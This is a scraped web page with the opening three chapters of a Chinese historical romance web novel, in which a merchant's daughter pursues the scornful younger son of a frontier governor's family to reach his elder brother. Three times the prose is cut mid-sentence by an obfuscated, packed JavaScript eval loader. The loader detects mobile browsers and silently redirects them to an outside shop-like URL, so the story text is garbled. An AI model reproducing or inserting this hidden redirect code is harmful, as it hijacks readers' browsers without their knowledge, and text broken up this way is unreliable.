《疯渊锁月(强取豪夺)》 1. 第一章 烈日晴空,明明还未到季夏,已有三伏之势。 许是因为这里是边塞吧? 苏月夭怔怔地想,她缩在古槐树荫下,倒不觉得热。 远处灰绿山峦起伏,脚下焦黄沙土轻扬,皆是与江南不同的景象,她怎么也瞧不够,哪里还顾得上炎热。 景致被来回踱步的姐夫徐世勤挡住,他体型偏胖,非常不耐热,此刻已汗流浃背,额角湿漉漉往下滴水。 踱了一圈转过身来,两人视线相撞,他叹道,“早知如此还不如直接捐钱,不过是打通商路,拿点银钱打点底下官员即可,何必上赶着跑到节度使府上找难堪?” “姐夫莫要说这种话。”苏月夭蹙起柳眉,正色道,“咱们与府上也算远亲,这么多年地域相隔无法相见,如今千里迢迢来凉州城,自然要登门拜访,方才礼数周全。” “八竿子打不着的关系,也就只有你在意,你看府上像是待见我们的样子么?”徐世勤不住摇头,迈着步子开始新的一圈,“也不知道还要等几个时辰……” 苏月夭当然知道他们的关系牵强,只是她亦有私心。 别说数个时辰了,若是能待到酉时,那人下值归家,说不定还能来个偶遇。 思及此,她抬眸快速朝东侧的院落扫了眼,心生荡漾,面上又热了几分,怕被姐夫看出来,忙低头绞着手帕。 徐世勤看她时而发呆憨笑,时而喃喃低语,心想他这小姨子怕是犯了疯病。 他们是江浙一带有名的布商,家缠万贯,苏小娘子被捧在掌心中娇养,衣食起居完全不比官家小姐差。 可就是这么个娇滴滴的小娘子,放着山清水秀的江南不待,听闻他们要来边塞与胡人通商,缠着闹着非要跟过来,还想去节度使府上拜会。 那位大人物在河西只手遮天,还贵为亲王,绝无可能乖乖坐在堂中等他们这等微末小卒拜访,他只好不停贿赂府上伺候的随从,终于有了登门拜访的机会。 当然,没资格直接拜访节度使项大人,这次要见的是他的庶子项渊。 也不知是边塞不重礼仪,还是有意磋磨,入府后,别说是带到门厅等候,连下人的耳房都不配进,他们就这样被丢在庭院中,连盏茶都没有。 又不知等了多久,府上的随从终于过来,引着二人走过抄手游廊、绕过假山绿湖,最后停在一座四角攒尖凉亭前。 凉亭建在湖旁,廊柱间横贯轻纱薄幔,徐徐清风拂过,绿湖荡起阵阵涟漪,轻纱如烟似雾,浅浅略过黑漆鎏金桌案。 案上呈放各色美酒佳肴、古玩珍品,但餐食已享用过半,看来这里刚刚宴请过贵客,还未清理又接待他们。 蓦地一阵风卷起帷幔,露出锦榻上的少年郎君,身着赭色圆领胡服长袍,革带紧束窄腰,前襟撩到一侧,半躺半倚着廊柱,手握檀木佛像,正耷拉着眼皮,用小刀一笔一画地勾勒。 看他衣着华贵、气度非凡,想必就是项府次子项渊,徐世勤忙恭敬行礼问候。 一想到凉亭中的少年是项峻同父异母的庶弟,苏月夭心绪万千,忍不住偷眼去瞧,意图从少年身上找出心上人的影子。 她只见过项峻一回。 那还是在三年前的京城,他高中状元,跨马游街,姿容清俊,又才华横溢,诗词冠绝天下,引得京中贵女倾心暗许,苏月夭也是其中之一。 当年须臾片刻的惊鸿照影,现在忆起依旧清晰。 眼前的少年剑眉星目,与她的心上人有几分相似,单论长相二人皆是丰神俊逸,但细看给人的感觉却迥然不同: 哥哥项峻清雅脱俗,宛如天上谪仙; 弟弟项渊俊美秾丽,眉宇间却有种玩世不恭的冷意,平添几分邪性,姿容就显得妖冶邪魅,宛如蛊惑人心的山魈精怪…… 她还在细细品鉴区别,凉亭上的少年似乎意识到灼灼视线,蓦地撩起眼皮,黑眸冷冷扫视过来,有碾压之势。 本就是不合礼数的窥探,现在被发现,又被这样瞪视,苏月夭慌忙垂下眼睫。 刚好姐夫介绍到她,她心头一紧,像是被人推了把,竟轻轻柔柔唤了对方一声“表兄”。 甫一张口,她自己先怔住了,她是急着与人拉近关系,但这么亲昵的称呼不该在此刻出现。 果然,“兄”字还未完全说出口,就被嗤笑声打断。 “表兄?哪个是你表兄?”项渊扯唇轻笑,将手里雕到半截的木佛随手朝边上丢去,身旁的随从连忙躬身去捡。 他翻身下榻,靠枕斜坐,手搭在膝盖上,似笑非笑地看着凉亭前被晒得面红耳赤的二人,“项节度出身代代戍守边疆的项氏一族,项夫人是长安城中的贵女,都未曾到过江浙之地,更无南方亲眷,我何来的吴越表妹?” 苏月夭不用抬头也能感受到他鄙夷的目光,手指紧紧攥着裙摆,不住后悔刚才失言,恐怕今日拜访要前功尽弃了,这可如何是好? 不等她想出对策,徐世勤已经从袖中拿出证明他们身份的书信,递呈上去,“表兄妹的称谓确实不妥,不过郎君有所不知,府上的薛姨娘与小人的岳母薛氏同属一支,早年二人互通书信,还曾提到过郎君,只是后来失了联系。” 他嗟叹一声,默了默又说,“恰逢小人前来凉州与胡人通商,听闻姨娘华年早逝,就想着顺路祭拜灵位,可惜这几日贱内身体不适,只好带着小妹前来,望郎君莫怪。” 苏月夭看着姐夫渐渐挺拔的背脊,着急不已,奈何她站在斜后方,就算使眼色他也看不见。 那薛姨娘是项渊的生母,与她的母亲是远房表姐妹,她与项渊早就在五服之外,姐夫不知掩盖,还直接说出来,这下更给对方否认拒绝的理由。 姐夫倒是想要体面,不愿低声下气,刻意强调只是路过祭拜,却将她的计划全部搅乱,这下毫无回旋余地了。 苏月夭在心中轻叹,抬眸偷眼观察凉亭中的少年郎君。 项渊接了书信,匆匆扫过一眼,就翻过来压在桌案上,“原来你们是想借姨娘的关系打通商道。” 完了,他误解姐夫的意思,将他们当做趋炎附势之徒了。 “那你们可真是找错人了,你们该去寻我父亲,再不济去找我兄长。”他突然绽出一抹笑意,“我不过是个雕木头的闲人,找我有何用?” 听到他提起心上人,苏月夭忍不住再次将兄弟俩进行对比,真是一个天上一个地下,可怜光风霁月的项峻,竟有个这样刻薄顽劣的弟弟。 日后若是提到她,不知要用多么嫌恶鄙夷的话语,到时候项峻会如何看她? 想到这,顿觉心烦意乱,头顶烈日晒得她直打转,连姐夫后面说的几句恭维话也没听进去,忽地—— 小腿肚子不知有什么东西擦过,毛毛刺刺带着骇人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590622|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的温度,吓得她险些叫出声。 忙低头去看,竟然是一只雪白长毛波斯猫,贴着她的小腿轻蹭,绿瞳微眯,好似十分享受。 “霜狸。” 听到主人呼唤,波斯猫舒展前肢,舒舒服服在地上伸了个懒腰,才蹬后腿,跳上桌案。 项渊将猫儿抱入怀中,拈起一片鱼脍喂给它。 “好歹这里也是节度使府上,怎么什么阿猫阿狗都能进来?”他捋着猫儿的长须,边说边笑,似乎在对着猫说话,声音却越来越冷,“你们都收了多少好处?” 旁边垂手侍立的随从面色煞白,不敢多言。 苏月夭听后震惊不已,因为项峻爱屋及乌产生的一点点好感顷刻荡然无存。 徐世勤的面色也沉下来。 猫儿被扯断了胡须,喵呜惨叫,猛踩项渊的俊颜逃走,尖利的爪子在他下颌留下一串血痕。 这幕刚好被苏月夭瞧见,在心中为路见不平、敢于直面强权的猫大侠偷偷拍手叫好,一时间眸光微动,暴露了心思。 项渊敛眉瞪她,语气很是不耐,“送客!” 就这样,等了数个时辰,被嘲讽奚落了番,不到一盏茶功夫,又被赶出来,他们虽出身低微商贾,但也富甲一方,何曾受过这样的屈辱? 拜别项府后,徐世勤全程阴沉着脸,苏月夭也不想说话,钻入门外候着的马车。 丫鬟素锦连忙递上冰过的酪浆,忙不迭为她挥扇拭汗,笑吟吟地问,“娘子可曾见到项世子?” “没有,遇到个碍事的。”苏月夭几口将酪浆吃完,又让素锦倒茶给她,实在渴极,不顾形象地仰头牛饮。 “是不是项二郎君?”素锦压低声音道,“娘子方才不在,我听说项二郎君刚出世生母病故,从小被项夫人养在膝下,溺爱至极,不学无术,成日游手好闲,就和……” 说到这,她将声音又往下压了几分,轻地几乎听不见,“就和纨绔差不多。” 苏月夭咕嘟咕嘟饮完茶,将杯盏放下,“纨绔好啊。” 毕竟不是每个郎君都似项峻那般清尘脱俗,不上花楼不下赌馆,除了官衙书院哪都不去,害她想要接近都苦寻无门。 她是女子,且非士族之女,与项峻贵贱殊途,也只能出此下策,徐徐图之。 想到今日见到的凉亭锦绣奢靡,桌案上摆满了珍奇异宝,她的眸中重新焕发生机,“项二郎君贪玩好享乐,那只要砸钱就好,砸到他心甘情愿认下我这门富亲戚!” 届时她就能以项渊远房表妹的身份出入项府,光明正大地出现在项峻眼前。 “娘子有财有貌,与项世子不知有多般配。”素锦拍手笑道,“若是能嫁给他,咱们的商队能得到庇护,娘子的嫁妆也可壮大河西军,两全其美,真是天造地设的好姻缘啊。” 苏月夭瞟她一眼,“我又不是贪图他的权势。” “您是爱慕他的才华,到时候洞房花烛夜,别的娘子郎君红鸳喜帐,您就对着世子背诵他的诗文吧,反正您说梦话也在背。” “你瞎说!”苏月夭羞得满面通红,又忍不住满心期待。 主仆二人调笑几番,突然听到车辕外传来阵阵急促马蹄声,随即车夫停车。 素锦掀帘去问,竟看到是项府的随从,眼眸发亮,转头对苏月夭笑,“还真如娘子所说,是项二郎君派人来追咱们!” 2. 第二章 马车停在街边,苏月夭没有下车,只让素锦掀开软帘。 项府的随从将箱子搬上车,打开,里边装的是绫罗锦缎、美玉珠宝,在午阳中熠熠生辉。 “东西全在这了,请苏娘子查验,看看可曾少了一二。” 不用去看,苏月夭也知道这些是姐夫打点项府的礼物,在她看来根本不值几个钱,至于要退还回来吗? 可见项渊当真厌恶他们至极,不想扯上半点关系。 还特地命人快马加鞭,不等他们回到住处,非要在街上拦下,当众清点,分明是存了折辱的心思。 她抬眸装作不经意地朝车外瞄了眼,已经有不少好事的围成圈,指指点点。 好歹她也是待嫁闺中的小娘子,当街被这么多人围观,顿时面露愠色。 不过也就一瞬,很快调整过来,笑盈盈命人将箱子收好,又感谢项府辛苦相送。 她实在不明白,送礼的人又不是她,她不过是个女眷,这些随从为何不去寻姐夫,偏偏拦住她的车马?总不至于是姐夫骑马已经先行远去不好追吧? 脑海中蓦地浮现出离开项府前,项渊瞪视她的那一眼,那森冷冰寒的眸光好似淬了毒的刀刃,多看两眼都要生疮。 苏月夭恍然大悟,不过是窥到他被猫儿划破面颊的狼狈一面,居然被他记恨,专程命人来羞辱她。 这世上怎会有这样小肚鸡肠的郎君! 明明与项世子一起长大,竟没学到他半点涵养? 早年项峻赴京赶考,夜宿客栈被贼人偷了银钱,得知贼人家中有病母弱子,生活苦寒交迫,他非但没将人告上衙门,还赠予金银钱财,贼人被感化,改邪归正,这件事也成了佳话。 “娘子。”素锦的声音将她的思绪唤回,“咱们还要给项二郎君送礼吗……之前的都被退回来了。” 苏月夭望着项家随从绝尘而去的背影,眸光愈发坚韧,“送!” 之后她就隔三差五寻个由头登门项府: 商队在塞外和胡商换了些新奇玩意,她选了水晶琉璃盏,亲手捧至府前,却被告知郎君外出行猎,无法相见; 新到了江浙上好锦缎,她挑了几匹,随车前来,又被告知郎君行猎摔断腿,今后缠绵床榻,不用制新衣,无需锦缎; 知他在胡说,她还是特地购置一双犀角杖赠他,愿他有了拐杖,下半生亦能健步如飞,如履平地。 下人为难拒绝,“医师已将郎君双腿敲碎重新接骨,拐杖娘子可留着自用。” 被这样刁难,下人都无言面对她,苏月夭却不恼,很是体谅他们的难处,还会分些银钱以示歉意。 渐渐地,府上的下人都喜欢她。 不止是因为那些钱,她给的其实不多,主要是看她亲切可怜,不像高高在上赏赐如施舍的世家贵女,倒像是被人欺负还不自知的邻家小妹。 他们怜她被风吹日晒,就算项渊下令不许她进门,也偷偷带人到耳房喝茶,聊些府上的趣事。 有次苏月夭去早了,晨钟刚过,赶上人家用早膳,被热情邀请,才吃了两口胡饼,听守门的下人说项渊回来了。 怕又要错过,顾不上衣裙沾染碎屑,匆忙起身,快步朝府门而去。 项渊清晨纵马归家,快到府邸才收紧马缰,放缓速度,却看到一道倩影从侧门闪过,直直朝他奔来。 他赶忙勒马,乌骓马高仰脖颈嘶鸣,踏着马蹄踱步,在原地画圈,铸成一方无形牢笼。 少女被困其中,她身着蝶黄绿襦裙,亭亭玉立,宛如一株被春光照拂的鲜嫩枝芽,身上犹带着露水的清甜与朝日的明媚,尤其那双眼眸,眼底盛满喜悦之色,比粼粼波光的湖面还要璀璨三分。 这副欣喜若狂的模样,像极了久盼迟归夫婿的小娇娘,惊得他险些想要调头就跑。 风拂过她的发带,像是把软刀子打在他的小腿上,他方才回过神,认出少女是谁,眸色渐沉,冷冷朝门仆瞥去。 仆从皆垂首不语,府门前静默几许,只有晨风吹起地面沙石,簌簌响动,透着彻骨寒意。 项渊收回视线,翻身下马。 苏月夭立即迎上来,倒是没敢再触他的逆鳞,乖乖喊他“项二郎君”。 他没有应声,只用余光打量她,她的发髻被风吹得凌乱,几缕青丝从颊边滑落,衣裙褶皱还沾着油脂碎屑,身后更是没有丫鬟陪同。 果然是商贾之女,不尊礼法,行事乖张,他都那样拒绝了,她还敢几次三番纠缠,完全弃名声不顾。 但她都不在意了,他怕什么? 项渊扯唇,从鼻腔哼出一声低笑,索性视她为无物,昂首阔步,抬腿跨入府中。 氅衣的宽大衣摆被风卷起,一股浓烈刺鼻的脂粉香味直扑苏月夭的面门,呛地她鼻子发痒,拼命蹙眉咬唇,才没有做出失态之举。 看来这位风流倜傥的项二郎君昨夜闯更,醉宿花街柳巷,也不知与多少娘子厮磨纠缠过,整个人被腌入味,沾染一身香气。 还好她的项世子洁身自好,从来不去那种地方。 眼看人渐行渐远,苏月夭踟蹰不前,刚才他完全不理人,但也没将她拦在门外。 目光投向门仆,对方也怔怔望着她,两人大眼瞪小眼。 府门还余半尺宽的缝隙,苏月夭哪肯放过这个机会,提起裙摆,侧身入门,快步追上去。 走在前的项渊原本就高个腿长,如今似是听到她的脚步声,刻意要甩开,更是大步疾驰,她几乎小跑才能跟得上。 忽地,他停在前方,坚挺的背部堵在月洞门口,好似一堵密不透风的墙。 苏月夭不知他为何停下,总不至于是好心等她,放慢脚步,缓缓走到他身后。 只听他嗓音低沉,声音肃穆,“问母亲安。” ——是项夫人? 她的眼眸陡然发亮,弓腰侧头,透过项渊和月洞门间的空隙窥探,只见几个婢女众星捧月般簇拥着一位尊贵夫人,衣着华美,看得出有些年岁了,但风采不减。 两人视线不期而遇,苏月夭赶忙直起身,往后退了几步。 “这位……”项夫人看到她,眼眸倏地睁圆,似是不确定,随即弯唇浅笑,“就是表姑娘吧?” 项渊回头朝身后看了眼,眉头紧锁,却还是侧身让开了些。 苏月夭没想到夫人竟会知道她,心下又惊又喜,手脚都不知如何摆放。 快速收敛情绪,上前一步,恭敬行礼,“小女苏月夭,见过夫人。” 初次见面,她还想躬身行大礼,却先一步被项夫人托住手,“快免礼吧,既是二郎的表妹,何须如此繁文缛节?” 世家贵族最是看不起他们这等商贾末流,哪怕他们再有钱,也会被嫌弃行事不义,身有铜臭。 之前不管是在京城还是江南,苏月夭向来被贵女排挤在外,没想到这位项夫人竟如此平易近人,喜得她整个人好似踩在云朵上,飘飘然浮在半空中。 “小女不过商贾出身,市井之徒,怎敢攀附世家望族?” “你们出身同支,本就是一家人,何来攀附?”项夫人反握住她的手,安抚似地轻拍,抬起眼眸,淡淡朝项渊瞥去一眼,嗔怪道,“二郎才是,难得表妹登门,该多加照顾才是。” 苏月夭被她亲昵地拉着手,又听她训斥项渊,忙偷眼去瞧,他杵在一旁像棵将死的胡杨,身形笔直,头低垂着,看不清表情,不过想必是面色铁青,憎恶至极,却还得连连称是,拱手认下。 看他这副有气无法撒的模样,她不知有多愉悦,连日的屈辱在此刻扬眉吐气,愈发敬爱项夫人。 夫人身上儒雅温和的气质与她的心上人如出一辙,毕竟夫人是项峻的生母,若是能达成心愿,以后还会是她的婆母。 想到这,白皙的面庞染上薄红,更是百般讨好,逗得项夫人一会夸她衣着服饰美,一会赞她姿态容颜俏。 两人聊得尽兴,婢女突然出声打断,“夫人,到诵经文的时辰了。” 苏月夭当即明白过来,世家贵女每日循规蹈矩,日程都是定好的,拜访要提前下帖,她这样冒然登门不知耽误对方多少时间,忙躬身告辞。 “今日行事匆忙,未曾携 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590623|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼相见,望夫人莫怪,下次必带极品越罗登门给夫人赔罪。” 越罗,越地丝织名产,价值千金,京中贵女无不趋之若鹜。 项夫人喜得合不拢嘴,怕她失了方向,特地命婢女为她引路。 回去路上,苏月夭不断回味刚才的一幕幕,之前她就打听过这位项夫人: 夫人是长安城中世家望族的独女,被娇养长大,追随项节度离开舒适华贵的京城,与他许下一生一世一双人的美好愿望,她的性情宽厚温和,哪怕是庶子也当做是亲生子嗣,关爱至极。 今日一见,项夫人果然如传闻那般,也不枉她费尽心机与下人打好关系,打听得知夫人行踪,特地大早上候着,以项渊为敲门砖,顺利得见夫人。 项府总共四位郎君却没有娘子,亦无其他旁系亲属,府上只夫人一个女眷,若能博得她的喜爱,便能随意出入项府,方便接近项峻。 一想到不用再看项渊那张喜怒不定的阴森面庞,苏月夭顿觉心情舒畅,脚步都轻快几分。 等她走后,项夫人边用锦帕一根根擦拭手指,边端着腔调缓缓道,“二郎越发能耐了,一身香粉味,又多了个上不得台面的商贾表妹,真是热闹,不像你兄长,素来爱清静。” 看项渊抿唇不语,又说,“哦,我忘了。许是因为你们本就同出一支,同样的……” 最后二字她隐去没说,转动眼珠狠狠斜睨向身旁的少年。 “母亲说得极是。”项渊哼笑一声,接下她未说尽的话,“可惜我这样的贱种,依旧姓项,少不得还得唤您一声‘娘’。” 项夫人气得双肩发颤,指着他半晌说不出完整的话,愤然离开。 项渊噙着笑,目视她远去的背影,树影落在他的眉宇间,将眼底翻涌的戾色衬地更加阴沉。 回到屋,他解开氅衣,露出里边的黑绫圆领袍,衣裳像是被人当做了泼墨画,各色胭脂膏粉,从胸前飞溅向四周,左肩处更是有块湿痕,由内往外透着暗红血水。 脂粉味在室内散开,他皱了皱鼻子,边解袍扣,边回想昨夜。 那李姓缩头龟,只敢私下骂他,他追去他常出没的花楼,缩头龟竟躲在柔弱姬妾后,边拿脂粉膏子砸他,边急声高呼护卫。 几个护卫自然奈何不了他,将对方揍服帖了,他身上也乱七八糟的,草草罩了大氅遮盖,急马归家,没想到遇到苏月夭这个麻烦。 没能及时处理伤口,肩头的血肉与衣襟黏连,溃烂成片。 随从陈石看了眼,吓得魂飞魄散,声音也走了腔调,“这下手也忒狠!郎君且慢,小的去请医师来。” “不必。”项渊已扯下衣衫,连带着些许皮肉,疼得他闷哼一声,紧闭双眼,忍耐这阵钻心疼痛过去。 陈石赶忙拿了黄芩膏、生绢,替他处理伤口。 项渊裸着半边膀子,斜斜倚在榻上,目光自然落在桌案上的锦盒。 “这是什么?”他抬腿踹了下桌腿,桌案随之移开数寸,锦盒晃悠悠快要掉下来。 “是苏娘子送的礼物。”另个随从将锦盒端起,递到项渊面前,打开—— 里边盛放着一尊木质佛像,通体玄黑,散发阵阵檀香,眉间用珊瑚珠点缀白毫,衣袍鎏金边,莲座是上好的羊脂玉,佛像面容惟妙惟肖,低眸颔首,口念慈悲。 这副不染纤尘、完美无憾的神祇,令项渊联想起那人。 好不容易压下去的情绪猛地翻涌上来,脑内似有无数笑声骂声回荡,原本搭在膝头的手渐渐收紧,像是在努力克制,骨节泛白,手背青筋暴起。 终是没压抑住,他扬手狠狠朝锦盒挥去,随从没有抓稳,锦盒坠落,木佛掉落出来。 “咚——” 完美谪仙的面庞裂开,珊瑚珠滚落,金玉碎裂,再名贵的黑檀也成了断木残枝。 几个随从吓得垂首而立。 项渊闭了闭眼,重重呼吸,缓了几许,命陈石将碎片收起来装好。 “拿去还给苏娘子。”再次睁眼时,他微眯双眸低笑,“你告诉她,若是再敢来,就如这木佛!” 3. 第三章 素锦将锦盒奉上时,苏月夭正单手托腮倚着桌案,惬意地品尝酥酪。 她缓缓打开盒盖,见娘子面上的笑意倏地褪去,她也朝盒中快速瞥视,玉石宝珠已成碎渣,杂乱地混在木块中,几乎看不出原本的形状,顿时心里针扎似地痛,垂眸无声叹息。 “当啷”一声脆响,银匙被掷入盘中,随后是扒拉碎片发出的响动,娘子向来轻软的嗓音被叮呤咣啷声撞碎,听不出情绪,“好端端的怎会碎成这样?” 素锦将眉头蹙地更紧,抿唇犹豫不决。 项府派人送还礼物时,恰好她陪娘子去了商铺,是守门的仆从代为收下的。 等她回府,仆从将东西转交过来,除了之前送出去的锦盒,还多了几贯钱。 仆从的叹息声此刻还回荡在她的耳边,“唉,里边都摔成稀巴烂了,虽说也送来钱折价赔偿,但项二郎君发了脾气,明令禁止娘子再登门。” 那时素锦没打开锦盒,接过来感受到零碎的摇晃也猜到里边的狼藉,心里说不出来的难受。 仆从忿忿道,“我听说那项二郎君同人打架受伤,心里估计不大爽快,就把气全撒在娘子身上,你说这算什么人啊!” 素锦用力攥紧盒子,棱角的边缘硌地她手心发疼,启唇欲破口大骂,忽听身后传来娘子的声音,忙收敛情绪,快步跟上去。 几步路而已,可望着娘子一无所知的明媚笑颜,怀里的锦盒沉甸甸的,坠地她腿都要抬不起来。 当初制作这尊木佛花了娘子不少心血,黑檀木是专门从江南老家运过来的,羊脂玉、珊瑚珠皆是娘子一一过目挑选,每日再忙也抽时间去工匠铺盯着,就连木佛底下的坐莲都是娘子亲手画的图样。 这些哪里是几贯钱就能弥补的?分明就是糟蹋娘子的心血! 可此刻看着娘子半垂眼帘,眸底的光彩都晦暗了,素锦又实在不忍,怕她知道实情生气难过,遂将胸口的郁气憋下,思绪转得飞快。 “娘子莫要误会,礼物损坏……”她顿了下,“实属意外。” 碎片的撞击声蓦地停住,苏月夭一言未发,似是等着听后续。 素锦咽了口唾沫,努力放松神情,慢慢道来,“我听说项二郎君和人起了口角,在花楼打起来,估计是臂上有伤,没抓牢不慎摔碎木佛。” 怕她不信,又补充道,“郎君心里过意不去,还特意送来了赔礼。” 苏月夭并未抬头看她,依旧垂眸盯着那些碎片,指腹抚过断口处,心生疑惑,碎成这样怎么看都不像是不小心摔的。 但她懒得弄清缘由,折本生意就该及时止损,反正也赔了钱,何必再在项渊身上花心思,她连点情绪都懒得分给他,遂将锦盒盖上,推到旁,重新拿起银匙,继续品尝酥酪。 素锦攥着手指,拿不准娘子到底信没信,反复将方才的几句话在脑内咀嚼了遍。 忽地,她意识到说漏了嘴,她不该说项二郎君负伤的,万一娘子想要借机送药打理关系,岂不是将娘子往火坑里推! 终是耐不住性子,她小心试探,“娘子,项二郎君身体不适,咱要不缓缓,暂时不要去烦扰他了?” 苏月夭看她那副小心翼翼的模样,觉得好笑,“不去了,以后都不去了。我都攀上高枝了,何苦再去寻那棵歪脖子树?” 素锦这才将悬着的心放回肚子里,和娘子调笑,两人聚在一处说了项二郎君许多坏话。 不过很快,苏月夭就发现高枝哪有那么好攀的。 几次拜访,项夫人身旁的婢女都客客气气地在府门相迎,躬身施礼,连连道歉,夫人不是临时有事,就是身体抱恙,提前下帖也不得相见,不过礼物是照收不误的。 就算苏月夭再有钱,也架不住这样送礼,渐渐地她也明白过来,项夫人就是个笑面饕餮,只进不出。 而另一边,商队入胡通商的事宜进展顺遂,姐夫常去官衙商谈,可惜他见的都是专职商贸的互市监或市舶使,而项峻担任行军掌书记负责文书,根本没有见面的机会。 一时间,接近心上人的路数皆断,苏月夭整日困缩屋中,趴在窗檐和晒蔫的枯草赛萎靡。 素锦手捧漆盘,挑帘入屋,看到的便是这副景象,不由得无声叹息,视线从房内扫过。 桌案上放着描摹到一半的临帖,墙上挂着几幅山水画,竹箱横七竖八插着画轴,枕榻旁摆着泛黄快被翻烂的诗集…… 她家娘子闺房不摆香炉花器,尽是项世子的墨宝诗画。 受老爷影响,娘子自小倾慕读书人,三年前在京城见过那位谪仙后,万千倾慕便集于一人,日思夜想,魂牵梦萦。 可再怎么喜欢有什么用? 士农工商,士排在首位,商排在最末位,商贾如何有钱,也不可能用一枚枚铜板填平与世家的地位差距,她这个大字不识的小丫鬟都知道,更何况是娘子。 平日看她那般聪明伶俐,识人看账比大姑爷还要强几倍,唯独感情方面怎这般愚钝,简直一根筋。 唉,娘子好生可怜,她再次叹气,将漆盘放下,快步走到她身旁,边散开竹帘遮住刺眼阳光,边轻声劝解,“娘子,不如算了吧?天下郎君那般多,不乏俊逸有才之人,何必执着于项郎?” 苏月夭闻言,眼眸微震,几欲撑起身辩驳,但她也知素锦这么说是看不得她神伤,手指紧紧掐住臂肉,睫羽轻垂,似笑似叹道,“是啊,天下郎君甚多,但模样俊的未必有他那样的才学,有才学的未必有他那样的德行,有德行的未必有他那样的志向,有志向的又未必能入我的眼。” 素锦双手按着额角,“好了好了,娘子莫要说了,我头晕。” 苏月夭已被挑起话头,越说越起劲,眼眸渐渐泛光,“若是与他天各一方,这辈子毫无可能也就罢了。偏偏家里商队要来他的地界行商,又偏偏与他沾亲带故,这难道不是上天看我一片痴心赐下良机?我又怎能轻言放弃?” “……万一失败了呢?”素锦小声嘀咕,“娘子与项世子自然极为相配,但他那样的家世,只怕家里不会同意,到时候娘子的清誉也跟着受损。” “如若竭尽全力也不能成。”苏月夭顿了下,盯着窗外苍劲的古槐,眸光愈发坚韧,“那我就死了心,乖乖回江南去。” “然后和阿姊一样寻个郎君入赘,不过嘛,我要选个俊的。”说到这,她莞尔一笑,撑着窗沿坐起身,一扫连日颓靡,转身朝素锦比划,“如果这是门生意的话,那算得上利厚而险微,你说说看,我如何能放弃?为何要放弃?” “……好像是这么回事。”素锦似是被说服了,还帮忙出谋划策,“既如此,娘子何不去碰碰运气?项世子虽深居简出,但总得下值归家吧?直接在他下值路上,装作被欺负的弱女子等他来救。” “万万不可!”苏月夭被这番话惊地杏眼圆睁,连忙打断,“那样就算能见一面,于他来说,我依旧是陌生女子,又该寻什么理由见他第二面、第三面?再者,他是藩镇高官,假装劫匪的事情被他查到,轻则驱逐出塞,重则刑罚流放。” 素锦吓得吐了吐舌头,不敢再言。 苏月夭下榻,走到衣桁前,指腹轻捻那件上好越罗制成的精致纱衣,幽幽叹气,“下月就是乞巧节了,若是能和项世子同游该多好啊。可惜项夫人不待见我,姐夫那边也指望不上,思来想去还得从项二郎那边下手。” 许久没听到这个名字,素锦像是被马蜂蛰了,浑身刺挠,急得大叫,“娘子万万不可啊!我听闻他曾参过军,好勇善斗又桀骜不驯,活脱脱一个混世魔王,咱还是离他远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590624|205446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些吧。” “参军?那个项二郎项渊?”轻抚纱衣的手蓦地顿住,苏月夭一时无法将那个慵懒顽劣的形象与刚硬端正的军士联系起来。 她转过身,眼眸中泛着好奇的神采,“你是如何知道的?怎么不早点告诉我?” 素锦被看得心脏咚咚打鼓,忙垂眸躲闪,下意识想要跳过这个话题,又怕娘子误入歧途。 她用指尖狠狠掐了把手心肉,将之前道听途说的夸张了三分,硬着头皮说出来,“娘子不知,据说项二郎君之前都在军营,好像是在朔方河东一带担任什么都尉,后来打了败仗被赶回来,也就半年前吧。 项节度好心给他寻了个巡查的闲职,他狗改不了吃屎,不在家好好享福,天天去酒肆花街与人打架闹事,名声可臭了,世家公子贵女大多厌弃他,咱也千万不要与他再有接触了!” 听素锦说起这段事,苏月夭脑海中不禁浮现出与项渊为数不多的相见场景,蓦地想起初次见面,他懒散地倚在榻上,轻笑出声“不过是个雕木头的闲人。” 那句话原来是这个意思。 顿时好似一道闪电劈开层层黑雾,豁然开朗,难怪她送的那些珍玩稀宝他从不喜欢。 “素锦,快去拿咱们商队的地图来。”苏月夭快步朝屋外走去,“算了,还是我自己去吧,你去打听项二郎参军时的行军路线。” ”娘子?!”素锦疑惑不解,提着裙摆追在她身后。 几日后,苏月夭命下人合力将送给项渊的礼物抬上车,准备再赴项府。 素锦扑上来,眼泪簌簌滚落,拽着她的袖子不放,“娘子我错了!我不该撒谎,你怎么惩罚婢子都使得,万不可再去项府啊!” 苏月夭一只脚已踏上车辕,却被拽着不上不下,回头看素锦哭花了脸,无奈又好笑,抬手帮她拭去眼泪,柔声安抚道,“好啦,你最近日日道歉忏悔,听得我耳朵都快起茧子了,我知你是怕我伤心,不是有意诓骗我的,我不怪你,快别哭了。” 